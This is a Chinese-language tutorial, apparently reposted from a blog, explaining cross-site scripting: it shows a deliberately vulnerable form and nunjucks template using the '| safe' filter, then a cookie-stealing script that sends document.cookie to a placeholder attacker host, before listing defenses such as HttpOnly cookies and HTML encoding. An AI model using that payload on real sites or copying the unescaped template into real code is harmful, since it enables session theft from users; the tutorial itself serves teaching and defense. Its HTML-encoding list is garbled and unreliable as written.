WEB三大攻击之—XSS攻击与防护
?
From:https://www.daguanren.cc/post/xss-introduction.html
?
?
XSS的背景與介紹
背景
隨著互聯(lián)網(wǎng)的發(fā)展,網(wǎng)站經(jīng)歷由單純的只讀模式到web2.0興起的交互模式變遷,而正在向完美融合了人工智能的web3.0的道路發(fā)展。目前用戶(hù)訪問(wèn)的大多數(shù)網(wǎng)站均有交互的功能,例如是電商網(wǎng)站的評(píng)論,微博網(wǎng)站的轉(zhuǎn)發(fā),論壇的發(fā)帖等等。對(duì)于正常用戶(hù)而言,他們是遵守發(fā)帖和留言規(guī)范的,但對(duì)于黑客,他們是不會(huì)老老實(shí)實(shí)的按規(guī)矩辦事的。下面的GIF圖展示的是一個(gè)XSS攻擊的示意:
上圖先使用Chrome瀏覽器進(jìn)行正常和非正常留言,Chrome瀏覽器自動(dòng)檢測(cè)出XSS攻擊,屏蔽了請(qǐng)求。然后打開(kāi)IE8,執(zhí)行同樣的操作,IE8成功受到了攻擊。
XSS定義
跨站腳本(英語(yǔ):Cross-site scripting,通常簡(jiǎn)稱(chēng)為:XSS)是一種網(wǎng)站應(yīng)用程序的安全漏洞攻擊,是代碼注入的一種。它允許惡意用戶(hù)將代碼注入到網(wǎng)頁(yè)上,其他用戶(hù)在觀看網(wǎng)頁(yè)時(shí)就會(huì)受到影響。這類(lèi)攻擊通常包含了HTML以及用戶(hù)端腳本語(yǔ)言。 XSS攻擊通常指的是通過(guò)利用網(wǎng)頁(yè)開(kāi)發(fā)時(shí)留下的漏洞,通過(guò)巧妙的方法注入惡意指令代碼到網(wǎng)頁(yè),使用戶(hù)加載并執(zhí)行攻擊者惡意制造的網(wǎng)頁(yè)程序。這些惡意網(wǎng)頁(yè)程序通常是JavaScript,但實(shí)際上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻擊成功后,攻擊者可能得到更高的權(quán)限(如執(zhí)行一些操作)、私密網(wǎng)頁(yè)內(nèi)容、會(huì)話和cookie等各種內(nèi)容。
簡(jiǎn)而言之,現(xiàn)在的網(wǎng)頁(yè)基本是由html+css+javascript組成,普通用戶(hù)輸入的留言是文本信息,而黑客輸入的留言?xún)?nèi)容則有可能是javascript代碼。
代碼解釋
以上GIF所展示的,是一個(gè)用戶(hù)將文本框的信息提交form表單到后臺(tái),后臺(tái)反饋到前臺(tái)進(jìn)行留言展示的場(chǎng)景。表單提交代碼如下:
<form role="form" method="post"><div class="form-group"><label>輸入內(nèi)容</label><br /><textarea id="text" name="text"></textarea></label></div><button id="btn" type="submit" class="btn btn-default">提交</button> </form><label>展示內(nèi)容</label> <div id="show" class="col-md-4">{{text | safe}}<!--這里是nunjucks模板的展示寫(xiě)法,由后臺(tái)賦值text變量--> </div><script>$("#btn").click(function() {$.ajax({type: "POST",url: "/index",cache: false,data: {"text": $("#text").text()},success: function(msg) {}});}) </script>前臺(tái)表單提交到后臺(tái)服務(wù)器,可以直接使用form表單提交,也可以使用ajax提交的方式。后臺(tái)代碼可以選擇任意語(yǔ)言實(shí)現(xiàn)(java、php或者nodejs等均可),這里使用的nodejs代碼,thinkjs3的框架,后臺(tái)代碼如下:
//index.js const Base = require('./base.js');module.exports = class extends Base {indexAction() {if(this.isGet) {//如果是Get請(qǐng)求,直接顯示前臺(tái)頁(yè)面return this.display();} else if(this.isPost) {//如果是Post請(qǐng)求,賦值nunjucks模板中的text變量,再進(jìn)行頁(yè)面展示let post = this.post();this.assign("text", post.text);return this.display();}} };這里只是一個(gè)比較輕微的彈出警告框的攻擊,但如果攻擊代碼是:
<script type=text/javascript>window.location = "http://黑客IP:8360/getcookie?cookie="+document.cookie</script>則會(huì)將用戶(hù)的cookie信息發(fā)送到黑客那里,而用戶(hù)的cookie信息中很可能含有用戶(hù)名和密碼等重要信息,后果不堪設(shè)想。
?
XSS分為:存儲(chǔ)型和反射型
- 存儲(chǔ)型XSS:存儲(chǔ)型XSS,持久化,代碼是存儲(chǔ)在服務(wù)器中的,如在個(gè)人信息或發(fā)表文章等地方,加入代碼,如果沒(méi)有過(guò)濾或過(guò)濾不嚴(yán),那么這些代碼將儲(chǔ)存到服務(wù)器中,用戶(hù)訪問(wèn)該頁(yè)面的時(shí)候觸發(fā)代碼執(zhí)行。這種XSS比較危險(xiǎn),容易造成蠕蟲(chóng),盜竊cookie(雖然還有種DOM型XSS,但是也還是包括在存儲(chǔ)型XSS內(nèi))。
- 反射型XSS:非持久化,需要欺騙用戶(hù)自己去點(diǎn)擊鏈接才能觸發(fā)XSS代碼(服務(wù)器中沒(méi)有這樣的頁(yè)面和內(nèi)容),一般容易出現(xiàn)在搜索頁(yè)面。
?
?
當(dāng)前防御 XSS 的幾種策略
1、瀏覽器端主動(dòng)進(jìn)行XSS識(shí)別
如上述Chrome瀏覽器會(huì)自動(dòng)識(shí)別XSS攻擊代碼,并進(jìn)行請(qǐng)求的屏蔽
2、服務(wù)器端對(duì)于用戶(hù)輸入的內(nèi)容進(jìn)行過(guò)濾
a)將重要的cookie標(biāo)記為http only, 這樣的話Javascript 中的document.cookie語(yǔ)句就不能獲取到cookie了;
b)只允許用戶(hù)輸入我們希望的數(shù)據(jù),進(jìn)行數(shù)據(jù)格式校驗(yàn),例如年齡就只能輸入0-160的數(shù)字
c)對(duì)數(shù)據(jù)進(jìn)行html encode處理,過(guò)濾或移除特殊的Html標(biāo)簽, 例如:
< 替代 <, > 替代 >, " 替代 "d)過(guò)濾JavaScript 事件的標(biāo)簽。例如 "οnclick=", "onfocus" 等等。
3、使用較為安全的開(kāi)發(fā)框架
上述代碼所使用的nunjucks模板中:
<label>展示內(nèi)容</label> <div id="show" class="col-md-4">{{text | safe}}<!--這里是nunjucks模板的展示寫(xiě)法,由后臺(tái)賦值text變量--> </div>nunjucks默認(rèn)所有值都會(huì)在視圖內(nèi)自動(dòng)轉(zhuǎn)義,以防止HTML注入和XSS攻擊。 但是,
| safe這個(gè)語(yǔ)句是允許應(yīng)用程序在視圖中注入HTML片段。所以才會(huì)被XSS攻擊
總結(jié)
XSS攻擊相比于CSRF攻擊,還是比較容易防范的,只要同時(shí)限制用戶(hù)輸入數(shù)據(jù)的格式和進(jìn)行數(shù)據(jù)轉(zhuǎn)義,基本可以杜絕此類(lèi)攻擊
參考資料
- 后端模板引擎Nunjucks
- Web安全漏洞簡(jiǎn)介之XSS(一)
- Web安全測(cè)試之XSS
- Web如何防止XSS攻擊
- NodeJS國(guó)內(nèi)優(yōu)秀MVC框架ThinkJS
- 維基百科跨站腳本
本文鏈接:https://www.daguanren.cc/post/xss-introduction.html
?
?
總結(jié)
以上是生活随笔為你收集整理的WEB三大攻击之—XSS攻击与防护的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: CrawlSpider 详解
- 下一篇: Windows 10 使用 Kali L